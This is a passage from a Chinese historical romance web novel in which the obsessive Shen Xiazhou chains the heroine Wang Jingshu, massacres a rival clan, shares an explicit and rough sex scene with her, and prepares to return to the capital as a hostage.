男子身形清逸瘦长,面孔如雾霭般苍白,但这都不掩他周身强压不住的气势,尤其是抬目向他看来的一眼,凉薄、又溢满阴郁的戾气,看得人打从心底生出凉意。 沈遐洲只往王七郎方向看了一眼,幽静似潭的漆黑瞳眸,便吸魂夺魄般地紧紧攫着女郎,“卿卿,你今日逛得开怀吗?” 他嗓音并不高,唇角也极力扯出一抹温和笑意,颀长身影也以一种稀松平常的姿态朝女郎靠近。 可他眉眼是疲惫到极致也不放松的隽寒清冷,他居高临下,骨子里的偏执与掌控,如一张侵略极强的大网,恨不得牢牢将女郎禁锢在其中。 可他知道女郎并不喜他那样,故而,他仍旧努力装出女郎喜欢的模样,这样女郎才会继续为他留下。 然而,越是如此,越是难掩他有些不正常的癫狂。 王静姝没有瞧见过这样的沈遐洲,心中唯有酸涩,她从不惧怕沈遐洲变得如何,她知晓他从来不是什么好郎君,可过往,她的郎君应坏得更可爱些,也更有人情味一些,而不是现在这般对谁都不信任,时时刻刻都紧绷着,时时刻刻都在算计着什么的模样。 一瞬,她暂也不愿去计较沈遐洲为何会追来得这般快?也不愿去问他所为是不是在囚禁她? 她自愿踏入他的囚牢,走入他投下的阴影,“你手怎这般凉?” 明明已过了倒春寒,天气逐渐变暖,可王静姝抓着沈遐洲的手,还是捂不热的寒凉。 沈遐洲收紧了忽被女郎握住的手,容情竟有些发怔,他的女郎像月光、像醉人的美梦,美好得他恶意横生,他想囚禁她,给她戴上精美的锁链,时时带在身边。 他想得眼底带上了猩红,太多人想从他身边抢走女郎了,已死的丹阳王、王家、还有隐在暗处觊觎的陈雍…… 他常噩梦连连,梦中有死去的父母亲人,杀不完的四方来敌,还有护不住的女郎,他深陷其中,无法挣脱,惊醒后恍惚得分不清现实与梦境,甚至因此错手伤了身边的卫士。 沈二郎发现了他的不正常,请了郎中为他瞧病,他一面不信自己有病,但又在夜深人静时,觉得自己或许真的病了,但他并不敢因此停下复仇的脚步,仅一太原之地还是太过弱小,为保住城池,他其实隐有了一个决断。 他不在乎这个决断可会付出他的生命,可他割舍不下女郎,他的女郎这样美好,生命力也这样旺盛,他知道的,即便离了他,王静姝也会极其明媚地在任何地方活得很好,甚至比在他的身边活得还好。 可一想到日后她身边会出现的旁的男子,他就嫉妒得发狂,他既舍不得她枯萎,可又嫉妒得想将她一同带走,梦中时,他的手数次扼上了女郎纤细修长的脖颈,只要他用用力,女郎就能再不能被任何人夺走。 病态的恶意,令他不敢再回去面对女郎,只每日抓来跟在女郎身边的仆妇,一遍又一遍地说着女郎白日里都在做什么。 唯有此他还能勉强伪装得像个正常人。 他的目光落在女郎在日光下愈显纤弱细白的颈子上,眸色中有着令人心惊肉跳的平静冷静。 王静姝竟也一时看不透他的想法,只本能地觉得危险。 沈遐洲旁若无人地触上她的脖颈,他指尖的冰凉撩得王静姝发颤,咬紧牙关才不至惊叫出声。 但沈遐洲的指尖并未停留过久,他自王静姝的颈子向后绕,为她拾起一缕落下的发,眸光温柔:“卿卿,我为你打了一套饰品,之后为你试试可好?” 王静姝实猜不透他的想法,但也能瞧出他状态的不对,并不刺激他地轻点了点头。 而这一幕在王七郎瞧来,他灵动大胆的玩伴六娘分明是被吓住了,他也顾不得两侧用弓箭指向他的卫士,哇吱大喊着:“沈三,你放开六娘。” 就冲上了前。 沈遐洲眉头很是不悦地皱了皱,王七郎也自是还没冲到沈遐洲的跟前便被拦下。 “将混入城中的可疑人押入狱中审问。”沈遐洲声中是不容置喙的寒凉。 眼见王七郎要被带走,王静姝立不住了,她不与王闻俭离开,那是因她今日本就没想过会遇到王闻俭,且沈四娘那儿也定会发现她的消失,必会有人寻来,没必要在这时没做好任何准备地走。 她也生王闻俭所带来消息的气,然而,甫一见到寻来的竟然沈遐洲,她还是下意识地递给王闻俭一个同情的眼神,可怜他进来容易要出去就难了,但她想的也无非是自己或许要多个一起逃的伴了,没想过王闻俭会被区别对待地关进牢中,还要受到审问。 她不由为王闻俭开口:“三郎,他是我七弟王闻俭,幼时你们也是见过的。” 她本意是为提醒沈遐洲王闻俭不是可疑人,可沈遐洲哪里是没有认出王闻俭,恰恰是因认出了,才更不悦,过往还是小郎君时,他就厌恶这与王静姝关系过分亲近的王七郎,遑论这人竟还可耻地混入城中要带走他的女郎。 沈遐洲揉捏着女郎的手,瞬地流露出笑意,望着她道:“卿卿,既你说他是你的七弟,我自是不会伤他,可城中有人绕过了防守,放他入城,我总要好好查查。” “你说是吗?” 他望着王静姝笑,笑意清浅克制,即便明显有着几分作秀的痕迹,可他底子好,较以往清瘦的面孔,一笑下更显皎白郁美,令人经不住地想顺着他的心意。 王静姝挫败叮嘱:“那你千万别伤他。” 沈遐洲点头,然在命人护送走王静姝后,他笑意却是越发冰凉扭曲,当夜,得他只会的嵇牧欲言又止。 他早知自家郎君内心是何等的凉薄诡谲,可这些在过往是很少直白显露的,有瞧不见的道德屏障阻隔着他家郎君去实施那些坏计划,可此刻拭着剑的郎君,再无半点端然俊逸,反射着冷光的长剑照出他冷黑的瞳眸,只有隐隐流泻的狂意。 他又要去杀人。 嵇牧仍旧心有戚戚,劝道:“三郎不若还是只会二郎君一声?” 沈遐洲冷眼扫来,嵇牧被慑得垂头,只听见郎君幽幽道:“有些恶人还是由我来做的好。” * 夜黑魆魆的,辛家人影攒动摇晃,继而些许呼喊求救传出,廊下的灯笼上也喷溅上了血色,凭空地,连月色都多了几分阴寒。 沈遐洲从一屋堂中踏出,眸中是未褪的嗜血杀意,月色 照亮他半边面庞,明明是干净雅致的侧颜,唇畔的一丝笑却生生将他扭曲得犹如恶鬼。 郎君在享受这种肆意的杀戮,这想法不期地砸入嵇牧的脑中,一瞬他竟分不清郎君到底为了杀戮而杀戮,还是当真为了太原城? 或者两者兼有之? 辛家不安分,王七郎的入城也非是巧合,而是辛家为加剧冲突有意为之,若王家嫡系的七郎君死在了太原城,沈氏郎君还能与朝廷来人继续周旋得住吗? 二郎君与三郎君本就举步维艰,辛家如此作为确该死,可他也越发担忧郎君的病情了,是不是该再换一批郎中来瞧瞧?可又有谁能劝得动郎君? 沈遐洲并不知嵇牧心中几多凝重,他纾了心中积压的暴虐,竟难得的有几分好心情。 * 夜未尽,残月照窗,床帏中的女郎睡得恬静柔美。 沈遐洲静静瞧着,不经在床下脚踏处坐下,他唇色淡得几乎没有血色,苍白面皮也如冷玉般清寒,唯有那双眼,幽静晦暗,静静地,死死地瞧着女郎。 睡着的女郎虽没有白日醒着时的动人明丽,可奇异地能让他疲惫紧绷的心神寻得片刻安宁。 这样的女郎,他如何甘愿放手? 朝廷步步紧迫,太原一城在整个大绥国力面前还是显得渺小,是以身入局周旋于各方势力中残喘寻得机遇,还是据守在外成为各方势力角逐的靶子,他虽未踏出决断的最后的一步,可显然的—— 无论是哪一种,他似乎都无法给女郎留在身边的理由,也无法给女郎安定的生活。 而女郎是不是也厌弃他了,不然她白日为何要独自离开? 他钻了牛角尖,忽地有些赌气,他彻夜苦恼不能寐,王静姝却能睡得香甜,是不是即便有他没他于王静姝而言都一样? 她只是可怜他才暂留在他身边吧。 他将王静姝想得越发冷情可恶,双目委屈得发红,可偏偏自虐一般继续往下想,想她会对旁人笑,会为旁人舞,更会与旁人大婚…… 越想,他的心像被剜了大洞,诡谲思量再次溢满心头,弄死女郎的心都有了。 他生着闷气,就想将女郎也推醒,手指堪堪要碰到女郎的脸颊,又倏地收回,他方还用这手杀了人,卿卿会不喜的。 第69章 第69章“你狭隘偏执,非我喜爱…… 星渐隐,月渐消,晨雾在将亮未亮的天色中浸漫花树草木,恰是时,一房外的滴漏也在落下寅时的最后一滴,发出极微的水漾声。 极轻微,可屋中女郎好似偏生被这响动惊醒了,她微睁了眼,辨着外头的天色缓缓从被衾中坐起,面上露出些困倦疑惑的神色。 她隐约中分明感觉有人立在她床侧,可这会并未瞧见人,一时竟分不清真是梦,还是沈遐洲当真在她睡时来过? 会有这种疑惑其实并不怪她,而是她与沈遐洲如今的相处大都是如此,少有能清醒碰面的时候。 偶尔她会怀疑沈遐洲是不是故意避开她,可不止是沈遐洲,就连沈二郎也忙得脚不沾地,她便觉得是自己想多了。 但经昨日的验证—— 王静姝眸中还是不可避地闪过一丝愠色,腿弯也不由朝前勾地更撑坐起一些。 也是这一动作,她身姿僵了僵,有些不敢置信地又动了动,手也伸入被衾地向下摸去——竟是个脚镣! 被衾被她愤地掀下床榻,即便是不甚明亮的晨光,也足以看清她皙白的脚腕上套了个金环,纯金打造,漂亮的纹路拱着数个鸽蛋大小的宝石,若没有其后紧连着绑缚在床柱的银链,当真称得上是难得的饰品。 王静姝登时气得浑身发抖,沈遐洲不单是想将她圈禁在他的掌控中,如今更是不再遮掩地直接囚禁了她。 昨日他说为她打了一副饰品时,她就该防备的。 她就不该一再对他的心软,更不该担忧如若她一声不吭地走掉他会承受不住。 她瞧着沈九如好得很!连这种下作手段都使到她身上了! 她怒得去扣金环,无果,又去拉扯长链,纹丝不动,恼得她一把将长链砸向床尾。 是时,沈遐洲推门而入,瞧见的便是女郎皓肤雪颈,颓坐床榻,散乱的乌发披散在肩后,面颊似因激动绯红,听见动静霎时扭头望来,明亮至极的眼眸,像映着溢彩的流光,潋滟生动。 她本就是世间难得的美人,即便此刻又怒又丧的模样,也颓美得令人心生摇曳,只一眼,他便失了神。 他立在门处,用眼有一下没一下地望女郎,心虚得不敢与女郎直接对视。 王静姝哽在心头的怒火,简直要被他做出的姿态给憋岔气了,被锁的是她,他做的什么欲语还休姿态? 王静姝咬死他的心都有了。 偏生她硬是压下怒火展颜一笑,嫣然明丽,瞬地遍体芳华。 她像只在山林晨雾中出现的花妖,既明艳不可方物,又危险迷离,脚腕一圈金环,随着她欲起身又不甚力下跌的动作,非但将银链碰撞出脆响,还露出莹莹一片腿腕肌肤。 她绝对是故意的! 沈遐洲心中这般料定,可她这般好看,一颦一笑都击得他全身发麻,他既想移开目光不受她蛊惑,可又不受控地想受她蛊惑,耳廓不自觉地漫上些羞涩的溽红。 王静姝眸中极快地闪过一丝嫌弃,面上笑意却越发轻柔,唇瓣轻启,再抬目时,眼波如揉碎的水光一般潋滟:“沈九如,你不扶我一下吗?” 女郎的轻诱,简直要命,沈遐洲鼻翼久违地发痒,他凝着女郎,缓步向前。 王静姝便是在等着他的靠近,但她也并不着急,只与他虚隔了一段距离地抬手待他扶她,也是这一抬手,本就松垮的寝衣瞬地自她另一侧的肩头滑落不少,乌藻似的发垂满肩头,几缕发丝调皮地往深处探。 沈遐洲不再迟疑,伸手搀住了女郎要落回的皓腕,然也是这相触的一瞬,女郎的手灵活绕过他的掌,自他腰处抓住衣带地用力一扯,将他半身都拖至榻上,继而利落地翻身骑上郎君的腰际,双手也掐至郎君脖颈。 一连贯的动作既连贯又熟悉,她不再伪装,掐着郎君的脖子大骂:“沈九如,你个色胚!混蛋!你竟敢囚禁我!” 她实在是气不过,一经发泄,连日来对他的忍耐体贴再不见踪影,甚至扯起郎君的前襟愤地摇晃。 沈遐洲仰面躺倒,任由女郎发泄,女郎掐他,他就配合地引颈,女郎拉动摇晃他,他就配合地挺背起身…… 但无论如何,他幽黑沉郁的眼眸自始至终未离开女郎半分,那视线缱绻又深情,无边的眷恋,以及有些—— 伤感? 王静姝蓦地停顿了对他的欺凌,静静凝着身下的郎君,慢慢弯下腰用自己额贴着他的额,乌发泱泱下落,散在两人身侧,她用极轻且柔和的嗓音问:“沈九如,你是怎么了?” 两人的距离极近,王静姝不放过沈遐洲任一神情,执拗地要听些什么,眉头也担忧地蹙起,她的郎君如今真的越发令人看不懂了,又疯又病的,时而令人惊惧,又时而令人担忧不已,她实不知该拿他如何是好了。 她的忧虑清清楚楚地透过蕴着轻愁的眼眸落入了沈遐洲的眼中,他倏地拉女郎一下,手也自后锢住了女郎的腰肢。 陡然转变的力量对峙,王静姝防备地扭腰,而郎君却借势侧过脸,叼上了她颈边的一片细肉,唇齿不断啃噬厮磨。 王静姝疼得嘶声抽气,怒地推骂他:“沈九如,你属狗吗?” 她是极其貌美的女郎,无论何时都是,尤其是这样带怒叱人时,盛气明艳极了,沈遐洲不怒反笑,继续追着女郎啃咬,二人呼吸变得凌乱不堪,女郎更是整个人被抱起。 她腰肢被锢得分跪着向上挺,而郎君的脑袋强势地埋至她肩颈向上索,求,他过分极了,每一次啃咬都带上了力道,好似非要在她身上留下痕迹才甘心。 王静姝便骂他,力道掌在他身上,甚至掐上他脖颈。 最后实在经不住,她便想下榻,然一直被遗忘的锁链,硬是将她拉扯得摔回榻上。 她的怒火再次被点燃,趴伏在榻上扭头瞪向沈遐洲。 她身上的寝衣单薄又丝滑,几乎是斜披在身上,露出大片方才留下的湿红痕迹,自沈遐洲的角度看去,女郎美得糜乱艳丽,当然他也没好到哪里去,发冠彻底不见了,脸上还带着女郎掌掴的指印,可他眸中 却满是病态的兴致。 王静姝看他眼神,心中便咯噔更甚,他觉得沈遐洲彻底疯了,她不要和他玩了。 她去扯绕在绕在沈遐洲手中的链子,欲夺回掌控权,链子轻易地被扯动,但持着银链的郎君也一同顺着链子力道朝她倾来。 他唇角带笑,面容一半洁净俊美,一半残留着红痕,染欲的眼眸,将他衬得犹如诡谲的山鬼大妖。 王静姝该感到害怕的,可害怕之余,她咚咚的心鼓下,同样控制不住地欣赏他的好相貌,她的眼眸中清晰地映着他的影子—— 如山鬼大妖般的郎君发丝缠乱,宽肩窄腰蒙着浅浅一层晨光,精致玉骨得足够令人悸动。 沈遐洲像是没有发现女郎垂下的视线落在何处,他强迫女郎抬头,亲昵地与她碰着额,嗓音更是暗哑求怜:“卿卿,你一直这样陪着我可好?” 王静姝美目瞠大,瞬地从悸动中回神,她没见过比沈遐洲更不要脸的郎君了,给她戴上镣铐,竟还大言不惭要她一直这样陪他? 她确是疯不过沈遐洲,可她也从不纵着沈遐洲,她缓身坐起,拉上滑落的寝衣,眸中迸射着极冷冽的光芒。 对于王静姝这样大胆无畏的女郎,此刻完全是怒到极点准备豁出去的表现,沈遐洲原还压女郎一头的气势,忽地就敛了许多,甚至有些后悔。 可王静姝并不给他后悔的机会,拍开郎君胁着她下颌的手,言语中直剜沈遐洲的心窝:“沈九如,你有何资格让我一直陪同你?” “就凭你这朝不保夕的太原城?还是你这点下三滥的手段?”说着,王静姝顺势抖了抖那长长的系链,上扬的眉眼中满是对沈遐洲的不耻,吐出的恶语更是没完: “你又病又疯,身体也不强健,你如何与我孕育健康的子嗣?” “你沉溺过去,疑心自己害死所有人,难道要我与你一同背负这些沉重的责任吗?” “你狭隘偏执,非我喜爱的温秀良善的郎君。” …… 王静姝每说一句,沈遐洲目中便沉痛一分,凄怨地瞧向女郎:“你果然不过是因同情才一直忍耐我罢了。” 王静姝唇瓣翕动,似想反驳些什么,可又立即咬唇,她不该再一味地对他过于忍让,她绝无容忍喜爱的郎君用这种手段禁锢她,她忽视他悲怆受伤的神情,朝他伸手:“钥匙。” 沈遐洲目底萧瑟,整个人恍若被抽空精气神般没有神采,倦怠地阖着眼皮,对女郎失望透顶了的摸样:“不在我身上。” 王静姝几欲抓狂,疑心沈遐洲还没放弃囚禁她,漂亮的脸蛋狰狞得要与沈遐洲拼命。 然也是这瞬的功夫,她留意到沈遐洲的目光一直偷瞟她的发顶,那眼神,说不出的古怪,像委屈又像是期待她快些发现。 她摸向自己睡前早已摘完发饰的发髻,竟摸出一锁片,恰是时,那满身萧瑟受伤的郎君恰到好处地恹恹睇来一眼:“我既曾答应过不会将乱七八糟的手段用到你身上,便不会食言。” “可我竟不知你心中是那般想我的,原我也不是你喜爱的那种郎君,倒也不怪你。” 他本就是那种清隽俊逸的相貌,此刻顶着半边带着轻微红痕的伤脸作起秀来,端是凄楚可怜,就恍若她才是那十恶不赦的恶人。 可分明是他用镣铐锁了她,还那般凶狠咬她,要说这只是一个玩笑,王静姝打死也不相信。 沈遐洲是真的存了囚禁她的心,且还留了一手地倒打一耙,要她为冤枉了他愧疚呢。 王静姝才不上当,但同样的,她隐约从中窥见了几分沈遐洲旁的想法。 那不确定的猜测令她一时有些静默,只用那一指来长的锁片去尝试开启脚镣,脚镣应声而开,她的脚腕处并未留下任何痕迹,盖因这精美的脚镣内里还包了软布。 足以见得,这玩意准备得多精心,也并非心血来潮。 沈遐洲显然也想到了这一点,面上赧红。 然,任他如何姿态,王静姝此刻都不愿再搭理他,不过她显然低估了沈遐洲的脸皮,不及她远离他,他就又凑上了前,用手勾缠着她的发,声音也如诉情一般脉脉:“卿卿,你方说的话极伤我的心,你当真不喜爱我吗?” 显然的,女郎的诸多恶语,他就只听进了不喜爱那一句,也足以见得,他的内心一点也不脆弱。 或者说,诸多摆在面前的抉择,他早看得比旁人都要清楚,可他仍旧用脚镣来试探女郎,若女郎一再因心疼他柔顺忍耐,他便得寸进尺地强留女郎在身侧,可若女郎反抗,他也能退一步地不惹她反感。 他为自己阴晦的心念,极尽了算计,可他又实在不想女郎瞧不起他的这种阴晦,他小心藏着斥满心底的阴戾、扭曲,显出温驯柔静来。 王静姝扫他一眼,抿唇不语地扯回自己的发缕。 喜爱还是不喜爱,沈遐洲这个疯子难道还能摆脱得掉吗?可要说后悔招惹这个疯子,也不见得,她大概就是会为这样面皮的郎君心动。 无可救药的又岂是沈遐洲一人? 这种认知令她有些不甘,绞尽脑汁地回想可有比沈遐洲还令她动容的郎君。 相貌不输沈遐洲的郎君,可惜没有他身上流离的气质;性子比沈遐洲好的郎君,少了些惊心动魄的刺激;而身体比沈遐洲强健的郎君,不如他金质玉骨。 他矛盾重重,但足够的吸引她。 长时间的不说话,沈遐洲又试探地拉了拉王静姝的手换了个问法:“卿卿,我知道你方才说的都是气话。” “我不是气话,我就是这样想的。”王静姝实在克制不住地给了他一个白眼。 沈遐洲面色狞一下,又很快被伤心取代:“我不信。” 他说的伤感,偏生也巧,已亮的天光穿过窗棂,恰勾亮了他雅润流畅的侧脸。 那亮蒙蒙的一层微光,如玉韫晖,将他映得既凄楚,又俊美,分外地吸引人。 沈遐洲是何等地了解女郎,又何等地善于攻心,他不过是被女郎看一眼,便得寸进尺地搂过女郎:“卿卿,我不信。”他嗓音不高也不低,喃声如诱:“卿卿,你想锁回来吗?” 王静姝幻听般思绪空白一瞬,继而瞳仁震动,心跳急促地挣扎道:“我不与你胡闹!” 然越挣扎,王静姝越察觉到沈遐洲的变化,这疯郎君的情动来得古怪又不容人抗拒。 他叩她贝齿,与她贴面厮磨,既温柔又强势地将女郎抵吮昏然,直到熟悉的一声响,王静姝发现郎君手腕竟扣上了金环,那金环扣在郎君手腕,虽有些松垮,可郎君的手掌本就较之女郎大,一时竟也不至挣脱。 而金环的牵链正被郎君递至她手中,落帐的幽暗床帏间,诡异地变得有些禁忌,幽微念头膨胀发酵,甚至觉得郎君如此哪里够得,应打造更精巧的锁链,扣在他的颈间。 微妙的失控感漫过每一处感官,相触的目光更如燎原的星火,一经点燃便再也不可收拾,管他什么青天白日,什么明日几何,此刻,此时,他们只是埋于帐中纵情享乐的荒唐男女。 二人呼吸滚烫,肌肤湿、哒哒黏腻腻地贴在一起,女郎黑绸般的青丝被撇向了一侧,下巴磕在枕上,满面浮着绯红色,喘、息不止,懈怠地歇息着。 她显然认为郎君与她一般都累了,却不察自己在郎君眼中是何等的艳色,才堪阖眼,便惊一声地被郎君重提起来,几乎是碾压般地吻上她的唇。 强硬的,不怜惜的,所有伪装在这一刻碎裂,扭曲阴戾才是他这个坏郎君的本色。 他如初时啃咬她般粗暴肆意,似有什么令他急切地想将女郎揉入骨血才好,他病态地在女郎雪白胸月甫咬了一口,怨怼道:“坏卿卿,我恨死你了。” 王静姝简直要被他逼疯了,觉得他既可恶又莫名,手指插入他的发中,出气般地用力揪他头皮。 沈遐洲被她揪痛,就掐着她腰肢重重一撞。 女郎当即神魂飘荡,骂他的嗓音都带上了哭腔。 这时他又慢条斯理起来,慵懒亲昵地蹭女郎的脸颊,要女郎学他说话:“你就说,你先前说的都是气话,你最喜欢三郎了!三郎饶了我吧。” 说着,他玉白面上自己先浮现了一丝赧意。 王静姝不由嫌他心眼小,明明是他自己口口声声说的不信,这会倒又计较起来,非要她承认是气话了。 可她实在经不 住他一遍又一遍地折腾了,便没甚感情地重复:“我先前说的都是气话,我最喜欢三郎了,三郎饶了我吧!” 沈遐洲眉间的戾气被女郎熨帖的学舌抚去不少,眼尾都飞扬起些自得,他尝到甜头地又提出要求:“你再保证,我就是离开太原,也不会喜爱上旁的郎君的。” 王静姝昏沉迷离的眼眸倏地清明了几分,她静静凝着沈遐洲,她其实猜到的,他今日的伤感与反常,或与她有关,可到了此刻,她方确定,她的郎君,是在不舍放她离开。 许是她的沉默,阴晴不定的郎君幽沉沉的目中又汹涌上了杀意。 王静姝难得的,决定哄哄他,双臂勾下他的颈,颊靥贴上他的胸膛,同他保证:“我便是离开太原,我也不会喜爱上旁的郎君的,我只爱三郎这样俊美无俦,又羞涩可爱的。” 她非但叙述了郎君让她说的,还自我发挥地添加了几句,情、欲未退的嗓音更是如沙撩耳,刺激得人血脉砰张,可沈遐洲又恼她无状,拉扯下女郎攀附的臂膀,咬牙切齿又极为酸楚道:“坏卿卿,你分明是在哄我。” 王静姝无语叹息,她真是服了沈遐洲这样难搞的郎君了,干脆仰脸送上一吻。 她便辛苦一些,继续与他做吧。 第70章 第70章分——很多剧情 叶飞云荡,藤萝连缀,日影将光阴拉长。 屋中年轻郎君与女郎,今日实在闹得狠了,女郎早已累得睡去,身形笼在被衾中,呼吸也细细的。 而沈遐洲却仍旧一人清醒着,他身体明明算不得强健,可却像是铁打的一般,不需要睡眠地整宿整日熬着,他用手指拂开女郎腮畔的蜷发,赌气般捏她睡得香甜的脸颊:“没心没肺的坏女郎。” 虽是在指责,可放低的声音,并不像是真的想惊动女郎,他只是忍不住生闷气,气闷于王静姝不是那种听话的女郎,她大胆,行事又极有自己的主张。 他毫不怀疑,他今日若不及时收手,王静姝怕就不是说几句恶语了,同他拼命这种事也不是做不出来。 她就是有这么狠心。 沈遐洲兀自伤怀了会,便慢慢起了身,临走前还不忘给女郎检查了一下被角可掖好。 屋门被打开,又轻缓地合上,他独自去看望了还在修养的大郎沈遐光。 他与沈遐光皆不是擅交谈之人,简单叙话后就是寂静的沉默,沈遐洲视线雾沉沉地落在沈遐光的下身,那里盖着厚毯,而毯子下是被挖去膝骨,再站不起的双腿。 他雪寂的面庞出奇的静,双眸又过分的沉,沈遐光暗暗心惊,即便他不如二郎了解三郎,但也是一视同仁的弟弟,三郎他变了,变得他也不明白他到底变了多少。 只知道,三郎每在他这儿坐一会,就会想起料理一批原先旁支的背叛者。 但变得不止是三郎,向来散漫以他这个大哥为挡箭牌的二郎也变了许多,他提起三郎的不同寻常,二郎却持放纵的姿态:“大哥,我与三郎总得有宣泄的出口。” 如此,他便知,那些逐渐不见了的旁支亲族怕也有二郎的手笔。 从他被沈氏族老骗回祖宅受到的对待开始,有些情分便再也不再了。 作为最年长的兄长,他既不能为弟弟们撑起一片天,又何必再为他们所为指手画脚。 他腮帮似做出什么重要决定般地绷紧,要开口。 而这时的沈遐洲似乎也将所有要清算的名单在脑中划完,觉得再无遗漏,便也起身告辞。 沈遐光有些想说的话终究还是没有说出口,他们沈家落至今日,究其因果,那也是父辈埋下的因,时局牵动的果,他并不怪三郎。 若非要怪的话,他更怪自己无能。 望着沈遐洲离开的背影,沈大郎暗暗决定,下次吧,他总能与三郎说出口的,且他断的是腿,意志却不曾颓靡,作为兄长,他总得也肩负起些什么,护住仍在的家人。 沈遐洲心中明白自己的癫狂,他时时刻刻盘算着要做的许多事,眼底血丝如水一般涌动,既像是长久不睡的后遗症,又像是疯了病了。 至少陡然与他碰面的沈莹是这样认为的。 沈莹鹌鹑一样缩了缩脖,既怕三哥的阴晴不定,又怕对看丢表姐的无从解释。 说来愧疚,她原是因母亲对三哥的辱骂而觉得对不起三哥,便答应了三哥帮他好好看顾表姐,可后知后觉地才发现,三哥真正要的不是什么看顾,而是不着痕迹地将表姐留下来。 表姐说来也是受了他们沈家的拖累,王家有来人接,这完全是不该瞒着表姐的。 她两面为难,终究是做了帮凶,而且还是办砸了的帮凶。 故而,不可避的碰面,更是让她心中惴惴,眼皮都不敢掀地弱弱喊了一声:“三哥。” 沈遐洲恍若才发现她一般顿住了脚步,目光有些迟钝地落在她身上,他能发现沈莹的害怕。 这种害怕是从什么时候开始的呢? 沈遐洲出神地想了想,想起杀红眼还有袁氏大骂他那日。 他唇角不着意地牵动一下,朝沈莹走近。 沈莹想,她三哥一定是生气了,生气她没有办好他交代的事,她脑中不自觉地就想起三哥满身披血杀来的模样,像杀神,又像是没甚感情的沾血恶鬼。 她清楚明白三哥来意是解救她与母亲,可她过往被保护得极好,便是被软禁,也没受到什么真正的伤害,又哪里见过那般皆是杀红眼的情景。 她害怕是人之常情,可她觉得不该在三哥面前表现出来,她不能寒了三哥的心,她鼓了鼓气,想抬头去看三哥。 也是这时,沈遐洲的手落到了她脑上,不甚熟悉地揉了揉。 沈莹一时有些没反应过来,抬起的脸庞满是错愕。 沈遐洲没有多说话,收回手继续走了。 出了府,沈遐洲去了府衙,沈二郎平日皆在此忙活。 沈二郎忙得焦头烂额,外头的来使难以打发,里头的辛家又被三郎给灭了,灭了便灭了,他无非是趁势再敲打敲打还别有用心的人家,然后唱个白脸安抚一下。 但最为难办也绕不开的是朝廷的来使,这次并不好打发。 他与三郎等人能至今完好,全盖及时据了太原城,而朝廷也一时腾不出手来,便是打发过人来,也不足以与一城抗衡掀起战事。 可此次不同,来使中既有南地世家代表的王家,又有吕相的门生曾启。 并非他们带的人有多多,而是其中透露出来微妙的立场,非常耐人寻味,既是橄榄枝,也是能置人于死地的毒药。 吕相助陈雍篡位,按理现在应更与陈雍站至一线,将沈家碾死在微末时,可若如此,陈雍执政时必然多受到吕相为首世家的牵制,故而,他从一开就摆了吕相一道,与寒门联合到了一处。 而吕沈之间世家与世家的相争,伤了不少的元气,吕相一时竟也拿登堂入室的寒门武将无法,遑论还有趁势挤入朝堂的南地世家们也虎视眈眈。 谁都想在这样混乱的局面中分得一杯羹。 也是这时被斥长公主暴政,助纣为虐的沈家就变得微妙了,陈雍自然想要沈家死,可他受过长公主的恩惠,又曾有与沈遐洲在明面上的情谊,再加上长公主自焚的真相,这个要沈家死的恶人便绝不能由他来做,除非是太原沈氏自己要反。 吕相正是知晓这点,这时反乐意拉沈家一把,只要留着沈遐洲,便是时刻在提醒着陈雍的来位不正,也表达着自己的不满。 这种拉扯下, 最后的共识是请沈遐洲回洛京。 不去,是为反,而去,与羊入虎口又有几分区别? 沈二郎自问做不到送三郎去死,当下能做的唯有竖壁清野,先拖着。 他正待唤人来过问来使今日有何动静,便听人来报沈遐洲来了。 沈二郎一怔,便见沈遐洲自门外踏入,一时竟有些恍惚。 人还是那个人,一身清霜加身,寒逸俊美,可他目中再没了过往的青涩孤傲,整个人恍若沉寂了下来,面容雪白,阴郁也更甚。 这样的三郎其实一直都很让他担忧,初时担忧他会去送死,后来担忧他病得控制不住自己。 可也一直是三郎拖着千疮百孔的身躯四处收敛残余的部将,打探大郎的下落,最后一些处置上,更是在他出面前做足了恶人。 多年的了解,他似预感到三郎要说些什么,目光闪动下阻止了他开口:“今日已晚了,三郎你该直接归家才是,若是辛家的事,我也已经料理完毕,有了这次教训,旁的人家也再掀不起风浪……” 沈二郎自来是擅言辞的,他若不想让人开口,便能一直滔滔不绝下去。 沈遐洲静了很久,没有打断他,直到沈二郎说到口干,请他回去,他才掀眼道:“你当知我意已决。” “我本就该回去祭拜他们。” 沈二郎怔一下,冷声:“他们早已下葬!” 察觉自己语气过激,沈二郎放缓了声劝道:“三郎,你若是为了我与四娘等人,大可不必,陈雍得位不正,长公主带小皇帝自焚那把火烧得蹊跷,多得是人盯着他下面那个位子,这关头,他能愿意分兵出来吗?” 言下之意,既是陈雍敢分兵,就保不齐有人敢趁机将其做过的逼宫复刻一次。 虽是猜测,但沈二郎尤在劝:“你不如再耐心等……” 沈遐洲却摇头,陈雍原最能用的忠狗或只有新抬的寒门武将,可现来的来使不是还有属南地的王家吗? 这便是一个信号,陈雍继位打开的局面,只会让站队的势力越来越多。 他眼眸微掀,眼底也似蕴着奇异的疯意:“要等多久?等到什么时候?” “是等到陈雍坐得足够稳来出兵伐我们?还是等到太原城成为孤城一座?” 问完,他忽地低了声,声音低和平静,如在诉说一件与他无关的事实一般道:“二哥,你当知晓如何选才是有利的,陈雍他们不放心的只有我。” 只有他回了洛京,陈雍才寻不到由头对太原出手,否则,一个抗旨不尊的罪名落下,谁能说陈雍的不是?至于沈二郎为劝留他的猜测,可能性实则极低,先不说大绥再难寻出个三代内正统些的陈姓血脉,就逼宫这事真有几人能做出? 诸多世家争的也非是那个位置,而是争的独属世家的利益,好比,原本能读书,能为官的皆为相互举荐的世家子弟,可有人非要坏了这个规定,还要将他们全部挤出,这如何能忍受。 他母亲激进,以兵权为始与世家拉锯,最后落败给陈雍做了嫁衣,这便是极好的例子。 沈遐洲如想的是旁人的事般,心澜甚静。 沈二郎也一时失了声般,三郎说的这些,他其实也想过,可—— 他声中涩意难止:“大伯当初托我……” 话至一半,沈二郎又停下,他知道这时再提起三郎父亲再无意义,当初大伯沈照令他退至太原,是为庇护幼小,躲开洛京之乱,可往后的路怎么走,还是要看他们自己。 出离是为保命,而三郎选择重回洛京,是为走得更远。 太原需要一个和朝廷关系缓和的契机,而这次来使既是逼迫怕也是最后一次机会。 只是三郎也太苦了一些,他身体本就较旁的郎君更弱…… 沈二郎不免想很多,若可以,他宁愿与三郎换一换,可他与三郎虽同是沈氏郎君,但代表的意义并不一样,那些人需要的是大司马与长公主的血脉,唯这血脉,才可体现陈雍的仁慈与名正言顺,才可用以为质,才可惠泽现在的太原。 二人相对静默了许久,沈二郎眼睫轻轻颤抖,看向沈遐洲:“你都想好了?” 